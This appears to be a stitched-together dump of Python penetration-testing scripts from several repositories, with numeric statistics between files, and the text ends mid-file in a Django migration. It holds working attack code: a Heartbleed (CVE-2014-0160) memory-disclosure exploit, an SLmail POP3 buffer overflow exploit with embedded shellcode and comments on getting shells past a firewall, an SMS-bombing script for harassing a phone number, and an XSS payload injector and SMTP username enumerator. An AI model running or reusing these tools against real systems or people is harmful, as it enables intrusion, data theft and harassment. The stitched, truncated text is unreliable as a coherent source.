# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions] # Date: [2014-04-09] # Exploit Author: [Csaba Fitzl] # Vendor Homepage: [http://www.openssl.org/] # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz] # Version: [1.0.1f] # Tested on: [N/A] # CVE : [2014-0160] #!/usr/bin/env python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. # Modified by Csaba Fitzl for multiple SSL / TLS version support import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') version = [] version.append(['SSL 3.0','03 00']) version.append(['TLS 1.0','03 01']) version.append(['TLS 1.1','03 02']) version.append(['TLS 1.2','03 03']) def create_hello(version): hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') return hello def create_hb(version): hb = h2bin('18 ' + version + ' 00 03 01 40 00') return hb def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s,hb): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return for i in range(len(version)): print 'Trying ' + version[i][0] + '...' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(create_hello(version[i][1])) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(create_hb(version[i][1])) if hit_hb(s,create_hb(version[i][1])): #Stop if vulnerable break if __name__ == '__main__': main()
29.179487
123
0.63225
cybersecurity-penetration-testing
import urllib2 import sys __author__ = 'Preston Miller and Chapin Bryce' __date__ = '20150825' __version__ = '0.01' def main(): url = 'http://www.linux-usb.org/usb.ids' usbs = {} usb_file = urllib2.urlopen(url) curr_id = '' for line in usb_file: if line.startswith('#') or line == '\n': pass else: if not(line.startswith('\t')) and (line[0].isdigit() or line[0].islower()): id, name = getRecord(line.strip()) curr_id = id usbs[id] = [name, {}] elif line.startswith('\t') and line.count('\t') == 1: id, name = getRecord(line.strip()) usbs[curr_id][1][id] = name search_key(usbs) def getRecord(record_line): split = record_line.find(' ') record_id = record_line[:split] record_name = record_line[split + 1:] return record_id, record_name def search_key(usb_dict): try: vendor_key = sys.argv[1] product_key = sys.argv[2] except IndexError: print 'Please provide the vendor Id and product Id separated by spaces.' sys.exit(1) try: vendor = usb_dict[vendor_key][0] except KeyError: print 'Vendor Id not found.' sys.exit(0) try: product = usb_dict[vendor_key][1][product_key] except KeyError: print 'Vendor: {}\nProduct Id not found.'.format(vendor) sys.exit(0) print 'Vendor: {}\nProduct: {}'.format(vendor, product) if __name__ == '__main__': main()
25.135593
87
0.547696
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Python-Penetration-Testing-for-Developers
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print s.sendto("hello all",(host,port)) s.close()
24.166667
52
0.713333
Python-Penetration-Testing-for-Developers
import requests from ghost import Ghost import logging import os url = 'http://www.realvnc.com' req = requests.get(url) def clickjack(url): html = ''' <html> <body> <iframe src="'''+url+'''"></iframe> </body> </html>''' html_file = 'clickjack.html' log_file = 'test.log' f = open(html_file, 'w+') f.write(html) f.close() logging.basicConfig(filename=log_file) logger = logging.getLogger('ghost') logger.propagate = False ghost = Ghost(log_level=logging.INFO) page, resources = ghost.open(html_file) ghost.exit() l = open(log_file, 'r') if 'forbidden by X-Frame-Options.' in l.read(): print 'Clickjacking mitigated' else: print 'Clickjacking successful' print os.getcwd() l.close() try: xframe = req.headers['x-frame-options'] print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible' except: print 'X-FRAME-OPTIONS missing' print 'attempting clickjacking...' clickjack(url) try: xssprotect = req.headers['X-XSS-Protection'] if 1 not in 'xssprotect': print 'X-XSS-Protection not set properly, XSS may be possible' except: print 'X-XSS-Protection not set, XSS may be possible' try: hsts = req.headers['Strict-Transport-Security'] except: print 'HSTS header not set, MITM should be possible via HTTP'
20.3
79
0.694597
PenetrationTestingScripts
#!/usr/bin/python #-*- coding: utf-8 -*- #python3.5 #===================================================================================================== #smsbomb.py #author: ym2011 #version: 0.1 #create: 2016-08-04 #===================================================================================================== #the short message bomb, a ticky joke for someone you fool #the source code is honghu.py and operate.py #===================================================================================================== try: import sys import os import ssl import urllib import urllib2 import httplib import re import string from http import cookies except ValueError: print ("""" 运行出错: 以下的python 库尚未安装: 该应用程序需要的库:sys、 os、urllib、urllib2、httplib、re、string cookielib 请检查这些依赖库是否安装在您的操作系统上 提示:安装这些库的格式为: apt-get install 库名字 例如: apt-get install httplib2 或者使用以下方式: easy_install httplib2 """") sys.exit() def oupeng(phone: object) -> object: datas="" url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept": "text/plain",'Referer':'http://www.oupeng.com/download'} #payload=urllib.urlencode(payload) try: request=urllib2.Request(url=url,headers=i_headers) response=urllib2.urlopen(request) datas=response.read() print (datas) print ('attack success!!!') except Exception as e: print (e) print("attack failed!!!") def hongxiu(phone): datas="" url='http://topic.hongxiu.com/wap/action.aspx' #请求的数据 payload={'hidtpye':'1', 'txtMobile':phone} #注意Referer不能为空 i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'} payload=urllib.urlencode(payload) try: request=urllib2.Request(url,payload,i_headers) response=urllib2.urlopen(request) datas=response.read() print (datas) print ('attack success!!!') except Exception: print (Exception) print ("attack failed!!!") if __name__=="__main__": phone=raw_input('input the phone:') oupeng(phone) hongxiu(phone)
21.846939
115
0.589812
owtf
#!/usr/bin/env python """ 2015/12/13 - Viyat Bhalodia (@delta24) - Updates CMS Explorer lists and merge them with original ones """ from __future__ import print_function import os from lxml import html try: import urllib2 except ImportError: import urllib as urllib2 abs_path = os.path.dirname(os.path.abspath(__file__)) CMS_EXPLORER_DIR = os.path.join(abs_path, "../tools/restricted/cms-explorer/cms-explorer-1.0") # get plugins from http://plugins.svn.wordpress.org def get_plugins_wp(): r = urllib2.Request("http://plugins.svn.wordpress.org") content = urllib2.urlopen(r) tree = html.fromstring(content.read()) el_list = tree.find("body").find("ul").findall("li") plugins = [] for el in el_list: plugins.append(el.text_content()) with open("%s/wp_plugins.txt.new" % CMS_EXPLORER_DIR, "w+") as file: for plugin in plugins: file.write("wp-content/plugins/%s\n" % plugin.encode("ascii", "ignore")) print("WP plugins list updated!") def get_themes_wp(): r = urllib2.Request("http://themes.svn.wordpress.org/") content = urllib2.urlopen(r) tree = html.fromstring(content.read()) el_list = tree.find("body").find("ul").findall("li") themes = [] for el in el_list: themes.append(el.text_content()) with open("%s/wp_themes.txt.new" % CMS_EXPLORER_DIR, "w+") as file: for theme in themes: file.write("wp-content/themes/%s\n" % theme.encode("ascii", "ignore")) print("WP themes list updated!") def get_drupal_plugins(): r = urllib2.Request("https://www.drupal.org/project/project_module/index") content = urllib2.urlopen(r) tree = html.fromstring(content.read()) links = tree.xpath('//*[@id="block-system-main"]/div/div/div/div[2]/div/ol/li/div/span/a') modules = [] for el in links: # lxml.etree.Element stores attributes in a dict interface string = el.get("href") module = string.replace("/project", "modules") modules.append(module) with open("%s/drupal_plugins.txt.new" % CMS_EXPLORER_DIR, "w+") as file: for module in modules: file.write("%s\n" % module.encode("ascii", "ignore")) print("Drupal plugins list updated!") def get_drupal_themes(): r = urllib2.Request("https://www.drupal.org/project/project_theme/index") content = urllib2.urlopen(r) tree = html.fromstring(content.read()) links = tree.xpath('//*[@id="block-system-main"]/div/div/div/div[2]/div/ol/li/div/span/a') themes = [] for el in links: # lxml.etree.Element stores attributes in a dict interface string = el.get("href") theme = string.replace("/project", "themes") themes.append(theme) with open("%s/drupal_themes.txt.new" % CMS_EXPLORER_DIR, "w+") as file: for theme in themes: file.write("%s\n" % theme.encode("ascii", "ignore")) print("Drupal themes list updated!") if __name__ == "__main__": get_plugins_wp() get_themes_wp() get_drupal_plugins() get_drupal_themes()
30.690722
101
0.631305
Python-Penetration-Testing-for-Developers
import mechanize import shelve br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) #br.set_handle_redirect(False) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) s = shelve.open("mohit.xss",writeback=True) for form in br.forms(): print form list_a =[] list_n = [] field = int(raw_input('Enter the number of field "not readonly" ')) for i in xrange(0,field): na = raw_input('Enter the field name, "not readonly" ') ch = raw_input("Do you attack on this field? press Y ") if (ch=="Y" or ch == "y"): list_a.append(na) else : list_n.append(na) br.select_form(nr=0) p =0 flag = 'y' while flag =="y": br.open(url) br.select_form(nr=0) for i in xrange(0, len(list_a)): att=list_a[i] br.form[att] = s['xss'][p] for i in xrange(0, len(list_n)): non=list_n[i] br.form[non] = 'aaaaaaa' print s['xss'][p] br.submit() ch = raw_input("Do you continue press y ") p = p+1 flag = ch.lower()
19.755102
67
0.647638
Python-Penetration-Testing-for-Developers
import requests import sys from bs4 import BeautifulSoup, SoupStrainer url = "http://127.0.0.1/xss/medium/guestbook2.php" url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>'] up = "../" i = 0 d = {} sets = [] initial = requests.get(url) for payload in payloads: for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): print field if field.has_attr('name'): if field['name'].lower() == "submit": d[field['name']] = "submit" else: d[field['name']] = payload sets.append(d) req = requests.post(url2, data=d) checkresult = requests.get(url3) if payload in checkresult.text: print "Full string returned" print "Attacks string: "+ payload d = {}
30.857143
109
0.650954
Python-Penetration-Testing-for-Developers
#/usr/bin/env python ''' Author: Chris Duffy Date: March 2015 Name: smtp_vrfy.py Purpose: To validate users on a box running SMTP Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import socket, time, argparse, os, sys def read_file(filename): with open(filename) as file: lines = file.read().splitlines() return lines def verify_smtp(verbose, filename, ip, timeout_value, sleep_value, port=25): if port is None: port=int(25) elif port is "": port=int(25) else: port=int(port) if verbose > 0: print "[*] Connecting to %s on port %s to execute the test" % (ip, port) valid_users=[] username_list = read_file(filename) for user in username_list: try: sys.stdout.flush() s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout_value) connect=s.connect((ip,port)) banner=s.recv(1024) if verbose > 0: print("[*] The system banner is: '%s'") % (str(banner)) command='VRFY ' + user + '\n' if verbose > 0: print("[*] Executing: %s") % (command) print("[*] Testing entry %s of %s") % (str(username_list.index(user)),str( len(username_list))) s.send(command) result=s.recv(1024) if "252" in result: valid_users.append(user) if verbose > 1: print("[+] Username %s is valid") % (user) if "550" in result: if verbose > 1: print "[-] 550 Username does not exist" if "503" in result: print("[!] The server requires authentication") break if "500" in result: print("[!] The VRFY command is not supported") break except IOError as e: if verbose > 1: print("[!] The following error occured: '%s'") % (str(e)) if 'Operation now in progress' in e: print("[!] The connection to SMTP failed") break finally: if valid_users and verbose > 0: print("[+] %d User(s) are Valid" % (len(valid_users))) elif verbose > 0 and not valid_users: print("[!] No valid users were found") s.close() if sleep_value is not 0: time.sleep(sleep_value) sys.stdout.flush() return valid_users def write_username_file(username_list, filename, verbose): open(filename, 'w').close() #Delete contents of file name if verbose > 1: print("[*] Writing to %s") % (filename) with open(filename, 'w') as file: file.write('\n'.join(username_list)) return if __name__ == '__main__': # If script is executed at the CLI usage = '''usage: %(prog)s [-u username_file] [-f output_filename] [-i ip address] [-p port_number] [-t timeout] [-s sleep] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-u", "--usernames", type=str, help="The usernames that are to be read", action="store", dest="username_file") parser.add_argument("-f", "--filename", type=str, help="Filename for output the confirmed usernames", action="store", dest="filename") parser.add_argument("-i", "--ip", type=str, help="The IP address of the target system", action="store", dest="ip") parser.add_argument("-p","--port", type=int, default=25, action="store", help="The port of the target system's SMTP service", dest="port") parser.add_argument("-t","--timeout", type=float, default=1, action="store", help="The timeout value for service responses in seconds", dest="timeout_value") parser.add_argument("-s","--sleep", type=float, default=0.0, action="store", help="The wait time between each request in seconds", dest="sleep_value") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Set Constructors username_file = args.username_file # Usernames to test filename = args.filename # Filename for outputs verbose = args.verbose # Verbosity level ip = args.ip # IP Address to test port = args.port # Port for the service to test timeout_value = args.timeout_value # Timeout value for service connections sleep_value = args.sleep_value # Sleep value between requests dir = os.getcwd() # Get current working directory username_list =[] # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if not filename: if os.name != "nt": filename = dir + "/confirmed_username_list" else: filename = dir + "\\confirmed_username_list" else: if filename: if "\\" or "/" in filename: if verbose > 1: print("[*] Using filename: %s") % (filename) else: if os.name != "nt": filename = dir + "/" + filename else: filename = dir + "\\" + filename if verbose > 1: print("[*] Using filename: %s") % (filename) username_list = verify_smtp(verbose, username_file, ip, timeout_value, sleep_value, port) if len(username_list) > 0: write_username_file(username_list, filename, verbose)
45.947712
161
0.613617
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 class Ferrari(): def speed(self): print("Ferrari : 349 km/h") class Mclern(): def speed(self): print("Mclern : 362 km/h") def printSpeed(carType): carType.speed() f=Ferrari() m=Mclern() printSpeed(f) printSpeed(m)
12.105263
29
0.665323
Hands-On-Penetration-Testing-with-Python
import struct import socket print "\n\n###############################################" print "\nSLmail 5.5 POP3 PASS Buffer Overflow" print "\nFound & coded by muts [at] offsec.com" print "\nFor Educational Purposes Only!" print "\n\n###############################################" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Note 1433,443 works aswell works as its not blocked by firewall #1444 does not work ,apperently firewall is blocing or something ,as 1444 is not a well known port --NO it was an issue with encoding of metasploit --Fixed #Lets try bing with 443 and 2606 location = doesnt work -may b cuz of bad characters as \x20 is there.Most of the times the payload generated has \x20 in it despite specifying it as a bad charactr n thats the reason why the payload sometimes works on 443 and sometimes it doesnt.Even when 1433 has \x20 it doesnt work #Bingo --discovered ,why rev shell was not working and bind was sometimes workinga nd sometimes not ,its because -b is not working with metasploit , initially -b "-" was copied from internet and it was somekind of special char.when -b was put manually it kept on giving error. !!. #We tried to update metasploit :apt install metasploit-framework #BIngo that solved the problem . #Lets try a random port like 1444-- Works like a charm !! #try 80 and 443 with same bind--Works #1444 with 2606 + BIND shell -Works like a charm .Trt rvse shell now LPORT1433 = "" LPORT1433 += "\xf9\x42\xf9\x9b\x2f\x99\xfc\x40\x49\x9b\xbd\x08" LPORT1433 += "\x71\xc8\xdb\xda\xc8\xd9\x74\x24\xf4\x5a\x31\xc9" LPORT1433 += "\xb1\x4e\x83\xea\xfc\x31\x6a\x0f\x03\x6a\x07\x93" LPORT1433 += "\x3d\x27\xff\xd1\xbe\xd8\xff\xb5\x37\x3d\xce\xf5" LPORT1433 += "\x2c\x35\x60\xc6\x27\x1b\x8c\xad\x6a\x88\x07\xc3" LPORT1433 += "\xa2\xbf\xa0\x6e\x95\x8e\x31\xc2\xe5\x91\xb1\x19" LPORT1433 += "\x3a\x72\x88\xd1\x4f\x73\xcd\x0c\xbd\x21\x86\x5b" LPORT1433 += "\x10\xd6\xa3\x16\xa9\x5d\xff\xb7\xa9\x82\xb7\xb6" LPORT1433 += "\x98\x14\xcc\xe0\x3a\x96\x01\x99\x72\x80\x46\xa4" LPORT1433 += "\xcd\x3b\xbc\x52\xcc\xed\x8d\x9b\x63\xd0\x22\x6e" LPORT1433 += "\x7d\x14\x84\x91\x08\x6c\xf7\x2c\x0b\xab\x8a\xea" LPORT1433 += "\x9e\x28\x2c\x78\x38\x95\xcd\xad\xdf\x5e\xc1\x1a" LPORT1433 += "\xab\x39\xc5\x9d\x78\x32\xf1\x16\x7f\x95\x70\x6c" LPORT1433 += "\xa4\x31\xd9\x36\xc5\x60\x87\x99\xfa\x73\x68\x45" LPORT1433 += "\x5f\xff\x84\x92\xd2\xa2\xc0\x57\xdf\x5c\x10\xf0" LPORT1433 += "\x68\x2e\x22\x5f\xc3\xb8\x0e\x28\xcd\x3f\x71\x03" LPORT1433 += "\xa9\xd0\x8c\xac\xca\xf9\x4a\xf8\x9a\x91\x7b\x81" LPORT1433 += "\x70\x62\x84\x54\xec\x69\x23\x07\x13\x90\xb9\xa6" LPORT1433 += "\xb9\x69\x55\x43\x32\xb1\x45\x6c\x98\xda\xed\x91" LPORT1433 += "\x23\xe0\x49\x1c\xc5\x80\x81\x49\x5d\x3d\x63\xae" LPORT1433 += "\x56\xda\x9c\x84\x1c\xe4\x17\x7f\x48\x8d\x60\x96" LPORT1433 += "\x4e\xb2\x71\xbc\xf8\x24\xf9\xd3\x3c\x54\xfe\xf9" LPORT1433 += "\x14\x01\x68\x77\xf5\x60\x09\x88\xdc\x11\xc9\x1c" LPORT1433 += "\xdb\xb3\x9e\x88\xe1\xe2\xe8\x16\x19\xc1\x6b\x50" LPORT1433 += "\xe5\x94\x46\x2a\xd0\x02\xd8\x44\x1d\xc3\xd8\x94" LPORT1433 += "\x4b\x89\xd8\xfc\x2b\xe9\x8b\x19\x34\x24\xb8\xb1" LPORT1433 += "\xa1\xc7\xe8\x66\x61\xa0\x16\x50\x45\x6f\xe9\xb7" LPORT1433 += "\xd5\x68\x15\x46\xdd\x89\xd6\x9f\x27\xfc\x31\x1c" LPORT1433 += "\x1c\x0f\x74\x01\x35\x9a\x76\x15\x45\x8f" #Tested on Win2k SP4 Unpatched # Change ret address if needed #buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + LPORT1433 buffer = '\x41' * 2606 try: print "\nSending evil buffer..." s.connect(('192.168.250.136',110)) data = s.recv(1024) s.send('USER username' +'\r\n') data = s.recv(1024) print(str(data)) s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ LPORT1433 + '\r\n') data = s.recv(1024) print(str(data)) s.close() print "\nDone! Try connecting to port 4444 on victim machine." except: print "Could not connect to POP3!"
46.060241
317
0.68886
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Project' db.create_table(u'xtreme_server_project', ( ('project_name', self.gf('django.db.models.fields.CharField')(max_length=50, primary_key=True)), ('start_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('query_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('allowed_extensions', self.gf('django.db.models.fields.TextField')()), ('allowed_protocols', self.gf('django.db.models.fields.TextField')()), ('consider_only', self.gf('django.db.models.fields.TextField')()), ('exclude_fields', self.gf('django.db.models.fields.TextField')()), ('status', self.gf('django.db.models.fields.CharField')(default='Not Set', max_length=50)), ('login_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('logout_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('username', self.gf('django.db.models.fields.TextField')()), ('password', self.gf('django.db.models.fields.TextField')()), ('username_field', self.gf('django.db.models.fields.TextField')(default='Not Set')), ('password_field', self.gf('django.db.models.fields.TextField')(default='Not Set')), )) db.send_create_signal(u'xtreme_server', ['Project']) # Adding model 'Page' db.create_table(u'xtreme_server_page', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('URL', self.gf('django.db.models.fields.URLField')(max_length=200)), ('content', self.gf('django.db.models.fields.TextField')(blank=True)), ('visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('status_code', self.gf('django.db.models.fields.CharField')(max_length=256, blank=True)), ('connection_details', self.gf('django.db.models.fields.TextField')(blank=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('page_found_on', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)), )) db.send_create_signal(u'xtreme_server', ['Page']) # Adding model 'Form' db.create_table(u'xtreme_server_form', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('form_found_on', self.gf('django.db.models.fields.URLField')(max_length=200)), ('form_name', self.gf('django.db.models.fields.CharField')(max_length=512, blank=True)), ('form_method', self.gf('django.db.models.fields.CharField')(default='GET', max_length=10)), ('form_action', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)), ('form_content', self.gf('django.db.models.fields.TextField')(blank=True)), ('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('input_field_list', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['Form']) # Adding model 'InputField' db.create_table(u'xtreme_server_inputfield', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('input_type', self.gf('django.db.models.fields.CharField')(default='input', max_length=256, blank=True)), )) db.send_create_signal(u'xtreme_server', ['InputField']) # Adding model 'Vulnerability' db.create_table(u'xtreme_server_vulnerability', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('details', self.gf('django.db.models.fields.TextField')(blank=True)), ('url', self.gf('django.db.models.fields.TextField')(blank=True)), ('re_attack', self.gf('django.db.models.fields.TextField')(blank=True)), ('project', self.gf('django.db.models.fields.TextField')(blank=True)), ('timestamp', self.gf('django.db.models.fields.TextField')(blank=True)), ('msg_type', self.gf('django.db.models.fields.TextField')(blank=True)), ('msg', self.gf('django.db.models.fields.TextField')(blank=True)), ('auth', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['Vulnerability']) # Adding model 'Settings' db.create_table(u'xtreme_server_settings', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('allowed_extensions', self.gf('django.db.models.fields.TextField')()), ('allowed_protocols', self.gf('django.db.models.fields.TextField')()), ('consider_only', self.gf('django.db.models.fields.TextField')()), ('exclude_fields', self.gf('django.db.models.fields.TextField')()), ('username', self.gf('django.db.models.fields.TextField')()), ('password', self.gf('django.db.models.fields.TextField')()), ('auth_mode', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal(u'xtreme_server', ['Settings']) # Adding model 'LearntModel' db.create_table(u'xtreme_server_learntmodel', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('page', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Page'])), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('query_id', self.gf('django.db.models.fields.TextField')()), ('learnt_model', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['LearntModel']) def backwards(self, orm): # Deleting model 'Project' db.delete_table(u'xtreme_server_project') # Deleting model 'Page' db.delete_table(u'xtreme_server_page') # Deleting model 'Form' db.delete_table(u'xtreme_server_form') # Deleting model 'InputField' db.delete_table(u'xtreme_server_inputfield') # Deleting model 'Vulnerability' db.delete_table(u'xtreme_server_vulnerability') # Deleting model 'Settings' db.delete_table(u'xtreme_server_settings') # Deleting model 'LearntModel' db.delete_table(u'xtreme_server_learntmodel') models = { u'xtreme_server.form': { 'Meta': {'object_name': 'Form'}, 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}), 'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}) }, u'xtreme_server.inputfield': { 'Meta': {'object_name': 'InputField'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'}) }, u'xtreme_server.learntmodel': { 'Meta': {'object_name': 'LearntModel'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'query_id': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.page': { 'Meta': {'object_name': 'Page'}, 